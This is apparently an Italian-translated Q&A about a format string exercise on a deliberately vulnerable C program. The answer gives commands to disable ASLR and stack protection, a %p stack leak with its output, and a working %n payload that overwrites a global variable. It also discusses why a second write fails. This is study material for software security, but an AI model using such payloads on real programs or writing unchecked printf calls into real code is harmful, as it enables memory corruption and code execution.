Come usare Format String Attack

Supponiamo di avere il seguente codice:

#include  #include  #include  int num1 = 0; int main(int argc, char **argv){ double num2; int *ptr = &num1; printf(argv[1]); if (num1== 2527){ printf("Well done"); } if(num2 == 4.56) printf("You are a format string expert"); return 0; } 

Sto cercando di capire come farlo nel modo giusto, ma non riesco a organizzare la mia mente con le guide su Internet.

Si suppone a qualcosa di simile:

 ./Program %p %p %p %p 

e poi

  ./Program $( printf "\xAA\xAA\xAA\xAA") %.2523d%n 

Non riesco a capirlo, per favore aiutatemi.

Il punto principale di questo è sfruttare una stringa in un programma in esecuzione attraverso la funzione di prinft. Ho bisogno di stampare “Ben fatto” e “Sei un esperto di stringhe di formato”. Nel mio caso, tramite terminale / shell Linux. Come nota di HuStmpHrrr: si suppone che si tratti di White Hacking – Software Security

Prima di tutto ti consiglio di leggere il libro Hacking: The Art of Exploitation . È molto buono.

Ora provo a spiegare come puoi sfruttare il tuo programma. Presumo che tu conosca alcune nozioni di base sugli exploit delle stringhe di formato, quindi non devo ricominciare dall’inizio. Tuttavia è importante disabilitare ASLR e compilare l’eseguibile senza protezione dello stack.

 # disable ASLR @> echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # compile without stack protection @> gcc -g -fno-stack-protector -z execstack fmt.c 

Ho modificato il tuo programma un po ‘, quindi è più facile capire come funziona l’exploit:

 #include  int num1 = 0xdead; int main(int argc, char **argv){ int num2 = 0xbeef; int *ptr = &num1; printf(argv[1]); if (num1 == 0xabc){ printf("Well done"); } if(num2 == 0xdef) printf("You are a format string expert"); printf("\n[DEBUG] num1: 0x%x [%p] num2: 0x%x [%p]\n", num1, &num1, num2, &num2); return 0; } 

Sto usando un sistema Ubunty a 64 bit. La dimensione del puntatore è 8 byte.

L’exploit

variabile num1

Per prima cosa proviamo a cambiare la variabile num1 . L’indirizzo di num1 è memorizzato in ptr . ptr è una variabile locale in main, quindi viene messa in pila (tipo int *). Per esaminare lo stack possiamo usare l’ %p formato %p .

 @> ./a.out %p.%p.%p.%p.%p.%p.%p.%p.%p 

Produzione:

 0x7fffffffdf78.0x7fffffffdf90.(nil).0x7ffff7dd4e80.0x7ffff7dea560.0x7fffffffdf78.0x200400440.0xbeefffffdf70.0x601040 [DEBUG] num1: 0xdead [0x601040] num2: 0xbeef [0x7fffffffde84] 

Possiamo vedere che il 9 ° elemento ha il valore 0x601040 . È lo stesso del valore nel nostro messaggio di debug num1: 0xdead [0x601040] . Ora sappiamo che 0x601040 è il puntatore alla variabile num1 e si trova nello stack. Per cambiare quel valore (scrivere in memoria) possiamo usare l’ %n formato %n in combinazione con l’accesso diretto ai parametri %9$n per scrivere all’indirizzo che è memorizzato nella nona posizione dello stack.

Per accedere al messaggio Ben fatto , è sufficiente scrivere valori 0xabc su stdout e utilizzare %n per scrivere quel numero in memoria:

 @> ./a.out `python -c "print('A' * 0xabc)"`%9\$n 

Io uso python per generare quell’output. Ora il programma stampa “Ben fatto”.

variabile num2

Se osserviamo attentamente l’output, vediamo che l’ottavo elemento ha il valore beef . Questa è la nostra variabile num2 . Non ho ancora capito, come sfruttare num2 ma cerco di spiegare come farlo in teoria. Vogliamo inserire un indirizzo di memoria arbitrario nello stack. Questo indirizzo dovrebbe essere l’indirizzo che punta a num2 ( 0x7fffffffde84 ). Successivamente, possiamo usare il parametro %n per scrivere su quell’indirizzo. Per mettere un indirizzo in pila possiamo usare la stringa di formato.

 @> ./a.out `printf "\x08\x07\x06\x05\x04\x03\x02\x01"` 

Il problema è che dobbiamo trovare la posizione di questa stringa di formato nello stack.

 @> ./a.out AAAA`printf "\x08\x07\x06\x05\x04\x03\x02\x01"`BBBB`python -c "print('%p.' * 200)"` 

Le “A” e le “B” sono solo padding ed è anche più facile trovare il nostro indirizzo nell’output. L’exploit ha un aspetto simile al metodo di exploit num1:

 @> ./a.out ADDRESS`python -c "print('A' * VAL_TO_WRITE)"`PADDING%LOCATION_OF_ADDRESS\$n 

Il problema: nel nostro scenario l’indirizzo di num2 è 0x7fffffffde84 (ovvero 0x00007fffffffde84 ). Quell’indirizzo non può essere scritto perché 0x00 è il C-String Terminator. Quindi non possiamo inserire l’indirizzo nella nostra stringa di formato.